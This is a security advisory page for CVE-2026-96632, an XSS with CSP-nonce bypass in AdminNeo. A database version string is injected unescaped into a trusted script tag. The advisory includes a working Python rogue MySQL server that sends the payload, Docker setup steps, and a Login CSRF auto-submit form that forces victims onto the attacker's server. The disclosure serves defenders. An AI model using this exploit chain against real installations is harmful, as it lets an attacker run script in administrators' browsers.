PT-2026-134413

CVE-2026-96632

·

Publicado

2026-10-30

·

Atualizado

2026-10-30

Descrição por

CVSS 4.0
8.2
Alta
MétricasAV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

Summary

AdminNeo inserts the database server's version string into a <script> tag that carries a valid CSP nonce, without any sanitization. A rogue database server can return a crafted version string that breaks out of the JavaScript context and executes arbitrary code. Because the script tag already has a valid nonce, the browser's Content Security Policy does not block execution. No authentication is required when combined with Login CSRF.

Prerequisites

  • Target runs AdminNeo
  • Attacker controls a reachable MySQL server (a 80-line Python script)

Root Cause

admin/core/Admin.php, lines 1285-1286:
php
echo script("let autocompletion;
window.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('" .
  Connection::get()->getVersion() . "', '" . Connection::get()->getFlavor() . "', autocompletion); });");
script() wraps the output in <script nonce="VALID NONCE">. Return value of Connection::get()->getVersion() is not escaped.

Steps To Reproduce

1. Build the environment

Dockerfile (AdminNeo):
dockerfile
FROM php:8.3-cli
COPY adminneo.php /var/www/adminneo.php
WORKDIR /var/www
EXPOSE 8081
CMD ["php", "-S", "0.0.0.0:8081"]
rogue mysql.py (fake MySQL server that accepts any login):
python
import socket, struct, threading

PAYLOAD = "1');alert(origin)//"

# Capability flags the client expects
CAP PROTOCOL 41   = 0x0200
CAP SECURE CONNECTION = 0x8000
CAP PLUGIN AUTH   = 0x00080000
CAPS LOW = CAP PROTOCOL 41 | CAP SECURE CONNECTION
CAPS HIGH = (CAP PLUGIN AUTH >> 16)

def make packet(seq, payload):
  length = struct.pack("<I", len(payload))[:3]
  return length + bytes([seq]) + payload

def make greeting(version str):
  pkt = b"x0a"                 # protocol version 10
  pkt += version str.encode() + b"x00"      # version string
  pkt += struct.pack("<I", 1)           # connection id
  pkt += b"x41" * 8                # auth plugin data part 1
  pkt += b"x00"                  # filler
  pkt += struct.pack("<H", CAPS LOW)        # capability flags lower
  pkt += b"x21"                  # charset utf8
  pkt += struct.pack("<H", 0x0002)         # status flags
  pkt += struct.pack("<H", CAPS HIGH)       # capability flags upper
  pkt += b"x15"                  # auth data length (21)
  pkt += b"x00" * 10               # reserved
  pkt += b"x41" * 12 + b"x00"          # auth plugin data part 2
  pkt += b"mysql native passwordx00"       # auth plugin name
  return make packet(0, pkt)

def make ok(seq):
  pkt = b"x00"     # OK marker
  pkt += b"x00"     # affected rows
  pkt += b"x00"     # last insert id
  pkt += struct.pack("<H", 0x0002) # status flags
  pkt += struct.pack("<H", 0)    # warnings
  return make packet(seq, pkt)

def make eof(seq):
  pkt = b"xfe"
  pkt += struct.pack("<H", 0)    # warnings
  pkt += struct.pack("<H", 0x0002) # status flags
  return make packet(seq, pkt)

def make err(seq, msg=b"not supported"):
  pkt = b"xff"
  pkt += struct.pack("<H", 1045)
  pkt += b"#HY000"
  pkt += msg
  return make packet(seq, pkt)

def handle(conn):
  conn.sendall(make greeting(PAYLOAD))
  try:
    conn.recv(4096)   # client login request
  except Exception:
    conn.close()
    return
  conn.sendall(make ok(2)) # accept login

  # Answer any queries Adminer sends after login
  while True:
    try:
      data = conn.recv(4096)
      if not data:
        break
      seq = data[3] + 1
      # Send ERR for all queries (Adminer still has the version in memory)
      conn.sendall(make err(seq))
    except Exception:
      break
  conn.close()

srv = socket.socket()
srv.setsockopt(socket.SOL SOCKET, socket.SO REUSEADDR, 1)
srv.bind(("0.0.0.0", 3307))
srv.listen(5)
print("[*] Rogue MySQL on :3307 - version: " + PAYLOAD)
while True:
  conn, addr = srv.accept()
  print(f"[+] Connection from {addr}")
  threading.Thread(target=handle, args=(conn,)).start()
shell
# Terminal 1: start Adminer
docker build -t adminer-xss .
docker run -d -p 8081:8081 --name adminer-xss adminer-xss

# Terminal 2: start rogue MySQL
python3 rogue mysql.py

2. Trigger the XSS

Open a browser and navigate to http://localhost:8081/adminneo.php:
  1. Select driver: MySQL
  2. Server: HOST IP:3307 (IP of the machine running rogue mysql.py)
  3. Username: root
  4. Password: x
  5. Click Login.
The rogue server accepts the login. AdminNeo renders the dashboard and includes:
html
<script nonce="REAL NONCE">let autocompletion;
window.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('1');alert(origin)//', 'mysql', autocompletion); });</script>
The browser executes alert(origin) with full CSP bypass because the script tag carries a valid nonce.

3. Trigger it via Login CSRF

The login form has no CSRF token. An attacker page auto-submits the login, forcing the victim's browser to connect to the rogue server:
html
<form id="f" method="POST" action="http://TARGET/adminneo.php">
 <input name="auth[driver]" value="mysql">
 <input name="auth[server]" value="ROGUE IP:3307">
 <input name="auth[username]" value="root">
 <input name="auth[password]" value="x">
</form>
<script>document.getElementById('f').submit()</script>

Collaborator Request

This vulnerability was discovered jointly with Yashar Shahinzadeh (GitHub: @Voorivex). Could you please add him as a collaborator on this advisory and credit him as a co-discoverer? Thank you!
Explorabilidade
Correção
Impactos
Fornecedores
Produtos afetados
Identificadores relacionados
GHSA-RX7M-WXWQ-VXR9
Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾